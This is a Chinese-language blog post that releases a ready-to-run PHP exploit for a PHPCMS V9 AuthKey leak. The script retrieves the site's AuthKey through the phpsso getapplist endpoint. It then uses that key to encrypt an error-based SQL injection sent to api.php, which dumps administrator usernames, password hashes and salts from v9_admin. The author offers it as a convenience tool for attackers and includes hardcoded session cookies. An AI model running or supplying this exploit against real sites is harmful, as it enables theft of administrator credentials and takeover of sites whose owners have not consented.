天小站发布了PHPCMSV9 AuthKey泄露导致SQL注入的文章,熟悉本站的兄弟们都知道,今天可能就会发布EXP了,恭喜你,又猜对了。
好久没有写PHP版的EXP了,这次再写就已经基本忘光了,唉,花了好久的时间呀,最终还是完成了。
其实使用昨天的那个中转脚本已经完全够用了,今天发布的这个是给懒人用的,先给个图吧。。。
<?php /** * Created by 独自等待 * Date: 2015/7/17 * Time: 21:23 * Name: phpcmsv9_authkey_exp.php * 独自等待博客:http://www.waitalone.cn/ */ print_r(' +------------------------------------------------------+ PHPCMS_V9 AuthKey泄露导致注入EXP Site:http://www.waitalone.cn/ Exploit BY: 独自等待 Time:2015-07-17 +------------------------------------------------------+ '); if ($argc < 3) { print_r(' +------------------------------------------------------+ Useage: php ' . $argv[0] . ' host path Host: target server (ip/hostname) Path: path of phpcms Example: php ' . $argv[0] . ' localhost /phpcms +------------------------------------------------------+ '); exit; } error_reporting(0); //统计时间 $start_time = func_time(); $host = $argv[1]; $path = $argv[2]; //请先添加cookie $cookie = 'PXVhx_auth=6ef8UVUAU1EIAgNSBFEFAVMNUFBbVFRXBFZUVApWUlRTdyQkIGY1KHFwXy9xYg9jM3RCGWA6MkEtMXM6czE1Un90CTczfzIwemRyFXx2In8GYHMKcDc1YDAwcyFgPDV4dHQJNzdmIjdtc2UwZWI1cCY; PXVhx__userid=9496CFEJAQZWBwEIAQABUAIHBlIHWwRVWwZXUw4A; PXVhx__username=b2baUlIBA1MHVFMBBgNcDQRbBFQEDQBeWFFSDFNFUlZU; PXVhx__groupid=fd32CQMGCFNTBAQIBgZaAlUDU1JRB1AGBgBRVAZQ; PXVhx__nickname=fd32CQMGCFNTBAQIBlJaCVIGUwIBClVRBVYGVwIRU1dW; PHPSESSID=u6nr1b81mgrk58boiqe49a6984'; $domain = "http://$host/$path"; //全局控制http发包参数 $opts = array( 'http' => array( 'method' => "GET", 'timeout' => 30, 'header' => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\r\n" . "Cookie: $cookie\r\n" ) ); //核心代码,注入获取管理员账号及密码 $sql_admin = sql_inject(); $count = count($sql_admin); if ($count != 0) { echo '恭喜大爷,成功获取到[ ' . $count . ' ]个管理员账号!' . "\n\n"; foreach ($sql_admin as $num => $admin) { echo '管理员' . ($num + 1) . '=>' . $admin . PHP_EOL; } } else { exit('杯具了大爷,此站漏洞已经修补,请秒下一个!'); } //获取authkey函数 function authkey() { global $opts; $authkey = ''; global $domain, $cookie; $crack_url = $domain . '/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V'; $context = stream_context_create($opts); $crack_key = file_get_contents($crack_url, false, $context); if (preg_match('/s:32:"(.*?)";/', $crack_key, $match)) { echo '成功获取到AuthKey_1:' . $match[1] . "\n\n"; $authkey = $match[1]; } else { $avatar_url = $domain . '/index.php?m=member&c=index&a=account_manage_avatar&t=1'; $upurl = file_get_contents($avatar_url, false, $context); if (preg_match('/\'upurl\':"(.+?)&callback=return_avatar/', $upurl, $match)) { $key_url = base64_decode($match[1]); $key_url = str_replace('uploadavatar', 'getapplist', $key_url); $auth_url = file_get_contents($key_url, false, $context); if (preg_match('/"authkey";s:32:"(.*?)"/', $auth_url, $au_match)) { echo '成功获取到AuthKey_2:' . $au_match[1] . "\n\n"; $authkey = $au_match[1]; } } } return $authkey; } //SQL注入函数 function sql_inject() { global $domain, $opts; $limit = 10; //默认显示多少个管理员账号 $admin = array(); $key = authkey(); $context = stream_context_create($opts); for ($i = 0; $i <= $limit; $i++) { $code = sys_auth("action=synlogin&uid=1' and(select 1 from(select count(*),concat((select (select ( SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#", 'ENCODE', $key); $target = $domain . '/api.php?op=phpsso&code=' . $code; $content = file_get_contents($target, false, $context); if (preg_match('/~(.+?)~1/', $content, $match)) { $admin[] = $match[1]; } else { break; } } return $admin; } //phpcms authkey加密函数 function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $key_length = 4; $key = md5($key); $fixedkey = hash('md5', $key); $egiskeys = md5(substr($fixedkey, 16, 16)); $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ''; $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16)); $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length)); $i = 0; $result = ''; $string_length = strlen($string); for ($i = 0; $i < $string_length; $i++) { $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32})); } if ($operation == 'ENCODE') { return $runtokey . str_replace('=', '', base64_encode($result)); } else { if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) { return substr($result, 26); } else { return ''; } } } //时间统计函数 function func_time() { list($microsec, $sec) = explode(' ', microtime()); return $microsec + $sec; } echo "\n脚本执行时间:" . round((func_time() - $start_time), 4) . '秒';